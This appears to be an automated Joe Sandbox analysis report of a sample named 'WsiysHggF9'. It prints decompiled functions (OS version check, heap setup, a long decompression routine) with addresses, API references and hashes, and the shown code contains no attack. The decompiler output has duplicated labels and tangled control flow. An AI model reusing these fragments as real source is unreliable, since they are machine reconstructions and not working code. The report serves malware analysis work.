Instruction Fuzzy Hash: 58F1C4B1A083418FD748CF29D880A1AFBE1BFC8208F15896EF598D7711E734E9558F56

Uniqueness

Uniqueness Score: -1.00%

Function 0024AC35 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0024AC35() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;
				intOrPtr _t13;

				_t12 =  *0x27d020; // 0x2
				if(_t12 != 0xffffffff) {
					_t6 =  *0x27ff60; // 0xa
					_t13 =  *0x27ff64; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					_t13 = _v280.dwMinorVersion;
					 *0x27d020 = _t12;
					 *0x27ff60 = _t6;
					 *0x27ff64 = _t13;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) + _t13;
				}
			}

0x0024ac38
0x0024ac47
0x0024ac85
0x0024ac8a
0x0024ac49
0x0024ac4f
0x0024ac5a
0x0024ac60
0x0024ac66
0x0024ac6c
0x0024ac72
0x0024ac78
0x0024ac7d
0x0024ac7d
0x0024ac93
0x00000000
0x0024ac95
0x00000000
0x0024ac98

APIs

GetVersionExW.KERNEL32(?), ref: 0024AC5A

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 91854953805459e3212257b6dbcb02c6e983b214f338a429abeaceccf9ae1d25
Instruction ID: 28e44fc97c1e9ba952b6d6cc57541b1970d2da0422c373d1ecfa6b37a06420b5
Opcode Fuzzy Hash: 91854953805459e3212257b6dbcb02c6e983b214f338a429abeaceccf9ae1d25
Instruction Fuzzy Hash: D6F030B091821C8FC758DF18FD896E973B5F759310F2002AAD91953790DB706D90CE62

Uniqueness

Uniqueness Score: -1.00%

Function 0026B610 Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0026B610() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x2a06e4 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x0026b610
0x0026b618
0x0026b620

APIs

GetProcessHeap.KERNEL32 ref: 0026B610

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: bfd2019efe6cc7cae90579c24224e6f5219f0518414f2236a3ca1d2cfe32d23b
Instruction ID: a6f12df3b425d371463d8681eb1e914827778ec40056bfa6d7312aaffbdb8699
Opcode Fuzzy Hash: bfd2019efe6cc7cae90579c24224e6f5219f0518414f2236a3ca1d2cfe32d23b
Instruction Fuzzy Hash: ACA00170602241CF97408F35BA4D24D3AA9BA96A95745806AA64DD6161EA3484A49A01

Uniqueness

Uniqueness Score: -1.00%

Function 00255BE7 Relevance: .8, Instructions: 800
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00255BE7(intOrPtr __esi) {
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				void* _t328;
				intOrPtr _t333;
				signed int _t347;
				char _t356;
				unsigned int _t359;
				void* _t366;
				intOrPtr _t371;
				signed int _t381;
				char _t390;
				unsigned int _t391;
				void* _t399;
				intOrPtr _t400;
				signed int _t403;
				char _t412;
				signed int _t414;
				intOrPtr _t415;
				signed int _t417;
				signed int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t422;
				signed int _t423;
				signed short _t424;
				signed int _t425;
				signed int _t428;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t433;
				signed int _t434;
				signed short _t435;
				unsigned int _t439;
				unsigned int _t444;
				signed int _t458;
				signed int _t460;
				signed int _t461;
				signed int _t464;
				signed int _t466;
				signed int _t468;
				signed int _t471;
				signed int _t472;
				signed int _t473;
				intOrPtr* _t474;
				signed int _t478;
				signed int _t479;
				intOrPtr _t483;
				unsigned int _t486;
				void* _t488;
				signed int _t491;
				signed int* _t493;
				unsigned int _t496;
				void* _t498;
				signed int _t501;
				signed int _t503;
				signed int _t511;
				void* _t514;
				signed int _t517;
				signed int _t519;
				signed int _t522;
				void* _t525;
				signed int _t528;
				signed int _t529;
				intOrPtr* _t531;
				void* _t532;
				signed int _t535;
				signed int _t537;
				signed int _t539;
				unsigned int _t546;
				void* _t548;
				signed int _t551;
				unsigned int _t555;
				void* _t557;
				signed int _t560;
				intOrPtr* _t562;
				void* _t563;
				signed int _t566;
				void* _t569;
				signed int _t572;
				intOrPtr* _t575;
				void* _t576;
				signed int _t579;
				void* _t582;
				signed int _t585;
				signed int _t586;
				intOrPtr* _t591;
				void* _t592;
				signed int _t595;
				signed int* _t598;
				unsigned int _t600;
				signed int _t603;
				unsigned int _t605;
				signed int _t608;
				void* _t611;
				signed int _t613;
				signed int _t614;
				void* _t615;
				unsigned int _t617;
				unsigned int _t621;
				signed int _t624;
				signed int _t625;
				signed int _t626;
				signed int _t627;
				signed int _t628;
				signed int _t629;
				unsigned int _t632;
				signed int _t634;
				intOrPtr* _t637;
				intOrPtr _t638;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				signed int _t643;
				signed int _t644;
				signed int _t645;
				char* _t646;
				signed int _t648;
				signed int _t649;
				signed int _t651;
				char* _t652;
				intOrPtr* _t656;
				signed int _t657;
				void* _t658;
				void* _t661;

				L0:
				while(1) {
					L0:
					_t638 = __esi;
					_t598 = __esi + 0x7c;
					while(1) {
						L1:
						 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
						if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
							goto L12;
						} else {
							_t637 = _t638 + 0x8c;
						}
						while(1) {
							L3:
							_t661 =  *_t643 -  *((intOrPtr*)(_t638 + 0x94)) - 1 +  *_t637;
							if(_t661 <= 0 && (_t661 != 0 ||  *(_t638 + 8) <  *((intOrPtr*)(_t638 + 0x90)))) {
								break;
							}
							L6:
							if( *((char*)(_t638 + 0x9c)) != 0) {
								L99:
								_t415 = E00254B23(_t638);
								L100:
								return _t415;
							}
							L7:
							_push(_t637);
							_push(_t643);
							_t415 = E00253731(_t638);
							if(_t415 == 0) {
								goto L100;
							}
							L8:
							_push(_t638 + 0xa0);
							_push(_t637);
							_push(_t643);
							_t415 = E00253CDD(_t638);
							if(_t415 != 0) {
								continue;
							} else {
								goto L100;
							}
						}
						L10:
						_t458 = E0025476B(_t638);
						__eflags = _t458;
						if(_t458 == 0) {
							goto L99;
						} else {
							_t598 = _t638 + 0x7c;
						}
						L12:
						_t483 =  *((intOrPtr*)(_t638 + 0x4b3c));
						__eflags = (_t483 -  *_t598 &  *(_t638 + 0xe6dc)) - 0x1004;
						if((_t483 -  *_t598 &  *(_t638 + 0xe6dc)) >= 0x1004) {
							L18:
							_t314 = E0024A740(_t643);
							_t315 =  *(_t638 + 0x124);
							_t600 = _t314 & 0x0000fffe;
							__eflags = _t600 -  *((intOrPtr*)(_t638 + 0xa4 + _t315 * 4));
							if(_t600 >=  *((intOrPtr*)(_t638 + 0xa4 + _t315 * 4))) {
								L20:
								_t627 = 0xf;
								_t316 = _t315 + 1;
								__eflags = _t316 - _t627;
								if(_t316 >= _t627) {
									L26:
									_t486 =  *(_t643 + 4) + _t627;
									 *(_t643 + 4) = _t486 & 0x00000007;
									_t318 = _t486 >> 3;
									 *_t643 =  *_t643 + _t318;
									_t488 = 0x10;
									_t491 =  *((intOrPtr*)(_t638 + 0xe4 + _t627 * 4)) + (_t600 -  *((intOrPtr*)(_t638 + 0xa0 + _t627 * 4)) >> _t488 - _t627);
									__eflags = _t491 -  *((intOrPtr*)(_t638 + 0xa0));
									asm("sbb eax, eax");
									_t319 = _t318 & _t491;
									__eflags = _t319;
									_t460 =  *(_t638 + 0xd28 + _t319 * 2) & 0x0000ffff;
									goto L27;
								} else {
									_t591 = _t638 + (_t316 + 0x29) * 4;
									while(1) {
										L22:
										__eflags = _t600 -  *_t591;
										if(_t600 <  *_t591) {
											_t627 = _t316;
											goto L26;
										}
										L23:
										_t316 = _t316 + 1;
										_t591 = _t591 + 4;
										__eflags = _t316 - 0xf;
										if(_t316 < 0xf) {
											continue;
										} else {
											goto L26;
										}
									}
									goto L26;
								}
							} else {
								_t592 = 0x10;
								_t626 = _t600 >> _t592 - _t315;
								_t595 = ( *(_t626 + _t638 + 0x128) & 0x000000ff) +  *(_t643 + 4);
								 *_t643 =  *_t643 + (_t595 >> 3);
								 *(_t643 + 4) = _t595 & 0x00000007;
								_t460 =  *(_t638 + 0x528 + _t626 * 2) & 0x0000ffff;
								L27:
								__eflags = _t460 - 0x100;
								if(_t460 >= 0x100) {
									L31:
									__eflags = _t460 - 0x106;
									if(_t460 < 0x106) {
										L96:
										__eflags = _t460 - 0x100;
										if(_t460 != 0x100) {
											L102:
											__eflags = _t460 - 0x101;
											if(_t460 != 0x101) {
												L129:
												_t461 = _t460 + 0xfffffefe;
												__eflags = _t461;
												_t493 = _t638 + (_t461 + 0x18) * 4;
												_t603 =  *_t493;
												 *(_t658 + 0x18) = _t603;
												if(_t461 == 0) {
													L131:
													 *(_t638 + 0x60) = _t603;
													_t320 = E0024A740(_t643);
													_t321 =  *(_t638 + 0x2de8);
													_t605 = _t320 & 0x0000fffe;
													__eflags = _t605 -  *((intOrPtr*)(_t638 + 0x2d68 + _t321 * 4));
													if(_t605 >=  *((intOrPtr*)(_t638 + 0x2d68 + _t321 * 4))) {
														L133:
														_t628 = 0xf;
														_t322 = _t321 + 1;
														__eflags = _t322 - _t628;
														if(_t322 >= _t628) {
															L139:
															_t496 =  *(_t643 + 4) + _t628;
															 *(_t643 + 4) = _t496 & 0x00000007;
															_t324 = _t496 >> 3;
															 *_t643 =  *_t643 + _t324;
															_t498 = 0x10;
															_t501 =  *((intOrPtr*)(_t638 + 0x2da8 + _t628 * 4)) + (_t605 -  *((intOrPtr*)(_t638 + 0x2d64 + _t628 * 4)) >> _t498 - _t628);
															__eflags = _t501 -  *((intOrPtr*)(_t638 + 0x2d64));
															asm("sbb eax, eax");
															_t325 = _t324 & _t501;
															__eflags = _t325;
															_t326 =  *(_t638 + 0x39ec + _t325 * 2) & 0x0000ffff;
															L140:
															_t629 = _t326 & 0x0000ffff;
															__eflags = _t629 - 8;
															if(_t629 >= 8) {
																_t464 = (_t629 >> 2) - 1;
																_t629 = (_t629 & 0x00000003 | 0x00000004) << _t464;
																__eflags = _t629;
															} else {
																_t464 = 0;
															}
															_t632 = _t629 + 2;
															__eflags = _t464;
															if(_t464 != 0) {
																_t391 = E0024A740(_t643);
																_t525 = 0x10;
																_t632 = _t632 + (_t391 >> _t525 - _t464);
																_t528 =  *(_t643 + 4) + _t464;
																 *_t643 =  *_t643 + (_t528 >> 3);
																_t529 = _t528 & 0x00000007;
																__eflags = _t529;
																 *(_t643 + 4) = _t529;
															}
															__eflags =  *((char*)(_t638 + 0x4c44));
															_t608 =  *(_t658 + 0x18);
															 *(_t638 + 0x74) = _t632;
															if( *((char*)(_t638 + 0x4c44)) == 0) {
																L147:
																_t503 =  *(_t638 + 0x7c);
																_t466 = _t503 - _t608;
																_t328 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
																__eflags = _t466 - _t328;
																if(_t466 >= _t328) {
																	L158:
																	__eflags = _t632;
																	if(_t632 == 0) {
																		while(1) {
																			L0:
																			_t638 = __esi;
																			_t598 = __esi + 0x7c;
																			goto L1;
																		}
																	}
																	L159:
																	_t644 =  *(_t638 + 0xe6dc);
																	do {
																		L160:
																		_t645 = _t644 & _t466;
																		_t466 = _t466 + 1;
																		 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)( *((intOrPtr*)(_t638 + 0x4b40)) + _t645));
																		_t598 = _t638 + 0x7c;
																		_t644 =  *(_t638 + 0xe6dc);
																		 *_t598 =  *_t598 + 0x00000001 & _t644;
																		_t632 = _t632 - 1;
																		__eflags = _t632;
																	} while (_t632 != 0);
																	goto L161;
																}
																L148:
																__eflags = _t503 - _t328;
																if(_t503 >= _t328) {
																	goto L158;
																}
																L149:
																_t333 =  *((intOrPtr*)(_t638 + 0x4b40));
																_t468 = _t466 + _t333;
																_t646 = _t333 + _t503;
																 *(_t638 + 0x7c) = _t503 + _t632;
																__eflags = _t608 - _t632;
																if(_t608 >= _t632) {
																	L154:
																	__eflags = _t632 - 8;
																	if(_t632 < 8) {
																		goto L117;
																	}
																	L155:
																	_t347 = _t632 >> 3;
																	__eflags = _t347;
																	 *(_t658 + 0x18) = _t347;
																	_t639 = _t347;
																	do {
																		L156:
																		E0025F300(_t646, _t468, 8);
																		_t658 = _t658 + 0xc;
																		_t468 = _t468 + 8;
																		_t646 = _t646 + 8;
																		_t632 = _t632 - 8;
																		_t639 = _t639 - 1;
																		__eflags = _t639;
																	} while (_t639 != 0);
																	goto L116;
																}
																L150:
																_t611 = 8;
																__eflags = _t632 - _t611;
																if(_t632 < _t611) {
																	goto L117;
																}
																L151:
																_t511 = _t632 >> 3;
																__eflags = _t511;
																do {
																	L152:
																	_t632 = _t632 - _t611;
																	 *_t646 =  *_t468;
																	 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																	 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																	 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																	 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																	 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																	 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																	_t356 =  *((intOrPtr*)(_t468 + 7));
																	_t468 = _t468 + _t611;
																	 *((char*)(_t646 + 7)) = _t356;
																	_t646 = _t646 + _t611;
																	_t511 = _t511 - 1;
																	__eflags = _t511;
																} while (_t511 != 0);
																goto L117;
															} else {
																L146:
																_push( *(_t638 + 0xe6dc));
																_push(_t638 + 0x7c);
																_push(_t608);
																L71:
																_push(_t632);
																E00252474();
																goto L0;
																do {
																	while(1) {
																		L0:
																		_t638 = __esi;
																		_t598 = __esi + 0x7c;
																		do {
																			while(1) {
																				L1:
																				 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
																				if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
																					goto L12;
																				} else {
																					_t637 = _t638 + 0x8c;
																				}
																				goto L3;
																			}
																			goto L103;
																		} while (_t632 == 0);
																		__eflags =  *((char*)(_t638 + 0x4c44));
																		if( *((char*)(_t638 + 0x4c44)) == 0) {
																			L106:
																			_t537 =  *(_t638 + 0x7c);
																			_t614 =  *(_t638 + 0x60);
																			_t399 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
																			_t468 = _t537 - _t614;
																			__eflags = _t468 - _t399;
																			if(_t468 >= _t399) {
																				L125:
																				__eflags = _t632;
																				if(_t632 == 0) {
																					while(1) {
																						L0:
																						_t638 = __esi;
																						_t598 = __esi + 0x7c;
																						L1:
																						 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
																						if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
																							goto L12;
																						} else {
																							_t637 = _t638 + 0x8c;
																						}
																					}
																				}
																				L126:
																				_t648 =  *(_t638 + 0xe6dc);
																				do {
																					L127:
																					_t649 = _t648 & _t468;
																					_t468 = _t468 + 1;
																					 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)( *((intOrPtr*)(_t638 + 0x4b40)) + _t649));
																					_t598 = _t638 + 0x7c;
																					_t648 =  *(_t638 + 0xe6dc);
																					 *_t598 =  *_t598 + 0x00000001 & _t648;
																					_t632 = _t632 - 1;
																					__eflags = _t632;
																				} while (_t632 != 0);
																				L161:
																				_t643 = _t638 + 4;
																				goto L1;
																			}
																			L107:
																			__eflags = _t537 - _t399;
																			if(_t537 >= _t399) {
																				goto L125;
																			}
																			L108:
																			_t400 =  *((intOrPtr*)(_t638 + 0x4b40));
																			_t468 = _t468 + _t400;
																			_t646 = _t400 + _t537;
																			 *(_t638 + 0x7c) = _t537 + _t632;
																			__eflags = _t614 - _t632;
																			if(_t614 >= _t632) {
																				L113:
																				__eflags = _t632 - 8;
																				if(_t632 < 8) {
																					L117:
																					_t598 = _t638 + 0x7c;
																					__eflags = _t632;
																					if(_t632 == 0) {
																						goto L161;
																					}
																					L118:
																					_t598 = _t638 + 0x7c;
																					 *_t646 =  *_t468;
																					__eflags = _t632 - 1;
																					if(_t632 <= 1) {
																						goto L161;
																					}
																					L119:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																					__eflags = _t632 - 2;
																					if(_t632 <= 2) {
																						goto L161;
																					}
																					L120:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																					__eflags = _t632 - 3;
																					if(_t632 <= 3) {
																						goto L161;
																					}
																					L121:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																					__eflags = _t632 - 4;
																					if(_t632 <= 4) {
																						goto L161;
																					}
																					L122:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																					__eflags = _t632 - 5;
																					if(_t632 <= 5) {
																						goto L161;
																					}
																					L123:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																					__eflags = _t632 - 6;
																					if(_t632 <= 6) {
																						goto L161;
																					}
																					L124:
																					 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																					while(1) {
																						L0:
																						_t638 = __esi;
																						_t598 = __esi + 0x7c;
																						goto L1;
																					}
																				}
																				L114:
																				_t403 = _t632 >> 3;
																				__eflags = _t403;
																				 *(_t658 + 0x18) = _t403;
																				_t641 = _t403;
																				do {
																					L115:
																					E0025F300(_t646, _t468, 8);
																					_t658 = _t658 + 0xc;
																					_t468 = _t468 + 8;
																					_t646 = _t646 + 8;
																					_t632 = _t632 - 8;
																					_t641 = _t641 - 1;
																					__eflags = _t641;
																				} while (_t641 != 0);
																				L116:
																				_t638 =  *((intOrPtr*)(_t658 + 0x14));
																				goto L117;
																			}
																			L109:
																			_t615 = 8;
																			__eflags = _t632 - _t615;
																			if(_t632 < _t615) {
																				goto L117;
																			}
																			L110:
																			_t539 = _t632 >> 3;
																			__eflags = _t539;
																			do {
																				L111:
																				_t632 = _t632 - _t615;
																				 *_t646 =  *_t468;
																				 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																				 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																				 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																				 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																				 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																				 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																				_t412 =  *((intOrPtr*)(_t468 + 7));
																				_t468 = _t468 + _t615;
																				 *((char*)(_t646 + 7)) = _t412;
																				_t646 = _t646 + _t615;
																				_t539 = _t539 - 1;
																				__eflags = _t539;
																			} while (_t539 != 0);
																			goto L117;
																		}
																		L105:
																		_push( *(_t638 + 0xe6dc));
																		_push(_t638 + 0x7c);
																		_push( *(_t638 + 0x60));
																		goto L71;
																	}
																	L98:
																	_t417 = E00251D92(_t638, _t658 + 0x20);
																	__eflags = _t417;
																} while (_t417 != 0);
																goto L99;
															}
														}
														L134:
														_t531 = _t638 + (_t322 + 0xb5a) * 4;
														while(1) {
															L135:
															__eflags = _t605 -  *_t531;
															if(_t605 <  *_t531) {
																break;
															}
															L136:
															_t322 = _t322 + 1;
															_t531 = _t531 + 4;
															__eflags = _t322 - 0xf;
															if(_t322 < 0xf) {
																continue;
															}
															L137:
															goto L139;
														}
														L138:
														_t628 = _t322;
														goto L139;
													}
													L132:
													_t532 = 0x10;
													_t613 = _t605 >> _t532 - _t321;
													_t535 = ( *(_t613 + _t638 + 0x2dec) & 0x000000ff) +  *(_t643 + 4);
													 *_t643 =  *_t643 + (_t535 >> 3);
													 *(_t643 + 4) = _t535 & 0x00000007;
													_t326 =  *(_t638 + 0x31ec + _t613 * 2) & 0x0000ffff;
													goto L140;
												} else {
													goto L130;
												}
												do {
													L130:
													 *_t493 =  *(_t493 - 4);
													_t493 = _t493 - 4;
													_t461 = _t461 - 1;
													__eflags = _t461;
												} while (_t461 != 0);
												goto L131;
											}
											L103:
											_t632 =  *(_t638 + 0x74);
											_t598 = _t638 + 0x7c;
											__eflags = _t632;
										}
										L97:
										_push(_t658 + 0x20);
										_t414 = E002538C2(_t638, _t643);
										__eflags = _t414;
										if(_t414 == 0) {
											goto L99;
										}
										goto L98;
									}
									L32:
									_t634 = _t460 - 0x106;
									__eflags = _t634 - 8;
									if(_t634 >= 8) {
										_t478 = (_t634 >> 2) - 1;
										_t634 = (_t634 & 0x00000003 | 0x00000004) << _t478;
										__eflags = _t634;
									} else {
										_t478 = 0;
									}
									_t632 = _t634 + 2;
									__eflags = _t478;
									if(_t478 != 0) {
										_t444 = E0024A740(_t643);
										_t582 = 0x10;
										_t632 = _t632 + (_t444 >> _t582 - _t478);
										_t585 =  *(_t643 + 4) + _t478;
										 *_t643 =  *_t643 + (_t585 >> 3);
										_t586 = _t585 & 0x00000007;
										__eflags = _t586;
										 *(_t643 + 4) = _t586;
									}
									_t418 = E0024A740(_t643);
									_t419 =  *(_t638 + 0x1010);
									_t617 = _t418 & 0x0000fffe;
									__eflags = _t617 -  *((intOrPtr*)(_t638 + 0xf90 + _t419 * 4));
									if(_t617 >=  *((intOrPtr*)(_t638 + 0xf90 + _t419 * 4))) {
										L39:
										_t479 = 0xf;
										_t420 = _t419 + 1;
										__eflags = _t420 - _t479;
										if(_t420 >= _t479) {
											L45:
											_t546 =  *(_t643 + 4) + _t479;
											 *(_t643 + 4) = _t546 & 0x00000007;
											_t422 = _t546 >> 3;
											 *_t643 =  *_t643 + _t422;
											_t548 = 0x10;
											_t551 =  *((intOrPtr*)(_t638 + 0xfd0 + _t479 * 4)) + (_t617 -  *((intOrPtr*)(_t638 + 0xf8c + _t479 * 4)) >> _t548 - _t479);
											__eflags = _t551 -  *((intOrPtr*)(_t638 + 0xf8c));
											asm("sbb eax, eax");
											_t423 = _t422 & _t551;
											__eflags = _t423;
											_t424 =  *(_t638 + 0x1c14 + _t423 * 2) & 0x0000ffff;
											goto L46;
										}
										L40:
										_t575 = _t638 + (_t420 + 0x3e4) * 4;
										while(1) {
											L41:
											__eflags = _t617 -  *_t575;
											if(_t617 <  *_t575) {
												break;
											}
											L42:
											_t420 = _t420 + 1;
											_t575 = _t575 + 4;
											__eflags = _t420 - 0xf;
											if(_t420 < 0xf) {
												continue;
											}
											L43:
											goto L45;
										}
										L44:
										_t479 = _t420;
										goto L45;
									} else {
										L38:
										_t576 = 0x10;
										_t625 = _t617 >> _t576 - _t419;
										_t579 = ( *(_t625 + _t638 + 0x1014) & 0x000000ff) +  *(_t643 + 4);
										 *_t643 =  *_t643 + (_t579 >> 3);
										 *(_t643 + 4) = _t579 & 0x00000007;
										_t424 =  *(_t638 + 0x1414 + _t625 * 2) & 0x0000ffff;
										L46:
										_t425 = _t424 & 0x0000ffff;
										__eflags = _t425 - 4;
										if(_t425 >= 4) {
											_t643 = (_t425 >> 1) - 1;
											_t425 = (_t425 & 0x00000001 | 0x00000002) << _t643;
											__eflags = _t425;
										} else {
											_t643 = 0;
										}
										_t428 = _t425 + 1;
										 *(_t658 + 0x18) = _t428;
										_t471 = _t428;
										 *(_t658 + 0x10) = _t471;
										__eflags = _t643;
										if(_t643 == 0) {
											L64:
											_t643 = _t638 + 4;
											goto L65;
										} else {
											L50:
											__eflags = _t643 - 4;
											if(__eflags < 0) {
												L72:
												_t359 = E002580CA(_t638 + 4);
												_t514 = 0x20;
												_t471 = (_t359 >> _t514 - _t643) +  *(_t658 + 0x18);
												_t517 =  *(_t638 + 8) + _t643;
												 *(_t658 + 0x10) = _t471;
												_t643 = _t638 + 4;
												 *_t643 =  *_t643 + (_t517 >> 3);
												 *(_t643 + 4) = _t517 & 0x00000007;
												L65:
												__eflags = _t471 - 0x100;
												if(_t471 > 0x100) {
													_t632 = _t632 + 1;
													__eflags = _t471 - 0x2000;
													if(_t471 > 0x2000) {
														_t632 = _t632 + 1;
														__eflags = _t471 - 0x40000;
														if(_t471 > 0x40000) {
															_t632 = _t632 + 1;
															__eflags = _t632;
														}
													}
												}
												 *(_t638 + 0x6c) =  *(_t638 + 0x68);
												 *(_t638 + 0x68) =  *(_t638 + 0x64);
												 *(_t638 + 0x64) =  *(_t638 + 0x60);
												 *(_t638 + 0x60) = _t471;
												__eflags =  *((char*)(_t638 + 0x4c44));
												 *(_t638 + 0x74) = _t632;
												if( *((char*)(_t638 + 0x4c44)) == 0) {
													L73:
													_t598 = _t638 + 0x7c;
													_t519 =  *_t598;
													_t366 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
													_t651 = _t519 - _t471;
													__eflags = _t651 - _t366;
													if(_t651 >= _t366) {
														L92:
														__eflags = _t632;
														if(_t632 == 0) {
															goto L161;
														}
														L93:
														_t472 =  *(_t638 + 0xe6dc);
														do {
															L94:
															_t473 = _t472 & _t651;
															_t651 = _t651 + 1;
															 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)(_t473 +  *((intOrPtr*)(_t638 + 0x4b40))));
															_t598 = _t638 + 0x7c;
															_t472 =  *(_t638 + 0xe6dc);
															 *_t598 =  *_t598 + 0x00000001 & _t472;
															_t632 = _t632 - 1;
															__eflags = _t632;
														} while (_t632 != 0);
														goto L161;
													}
													L74:
													__eflags = _t519 - _t366;
													if(_t519 >= _t366) {
														goto L92;
													}
													L75:
													_t371 =  *((intOrPtr*)(_t638 + 0x4b40));
													_t474 = _t371 + _t651;
													_t652 = _t371 + _t519;
													 *_t598 = _t519 + _t632;
													__eflags =  *(_t658 + 0x10) - _t632;
													if( *(_t658 + 0x10) >= _t632) {
														L80:
														__eflags = _t632 - 8;
														if(_t632 < 8) {
															L84:
															__eflags = _t632;
															if(_t632 != 0) {
																 *_t652 =  *_t474;
																__eflags = _t632 - 1;
																if(_t632 > 1) {
																	 *((char*)(_t652 + 1)) =  *((intOrPtr*)(_t474 + 1));
																	__eflags = _t632 - 2;
																	if(_t632 > 2) {
																		 *((char*)(_t652 + 2)) =  *((intOrPtr*)(_t474 + 2));
																		__eflags = _t632 - 3;
																		if(_t632 > 3) {
																			 *((char*)(_t652 + 3)) =  *((intOrPtr*)(_t474 + 3));
																			__eflags = _t632 - 4;
																			if(_t632 > 4) {
																				 *((char*)(_t652 + 4)) =  *((intOrPtr*)(_t474 + 4));
																				__eflags = _t632 - 5;
																				if(_t632 > 5) {
																					 *((char*)(_t652 + 5)) =  *((intOrPtr*)(_t474 + 5));
																					__eflags = _t632 - 6;
																					if(_t632 > 6) {
																						 *((char*)(_t652 + 6)) =  *((intOrPtr*)(_t474 + 6));
																					}
																				}
																			}
																		}
																	}
																}
															}
															goto L161;
														}
														L81:
														_t381 = _t632 >> 3;
														__eflags = _t381;
														 *(_t658 + 0x18) = _t381;
														_t640 = _t381;
														do {
															L82:
															E0025F300(_t652, _t474, 8);
															_t658 = _t658 + 0xc;
															_t474 = _t474 + 8;
															_t652 = _t652 + 8;
															_t632 = _t632 - 8;
															_t640 = _t640 - 1;
															__eflags = _t640;
														} while (_t640 != 0);
														_t638 =  *((intOrPtr*)(_t658 + 0x14));
														_t598 =  *(_t658 + 0x1c);
														goto L84;
													}
													L76:
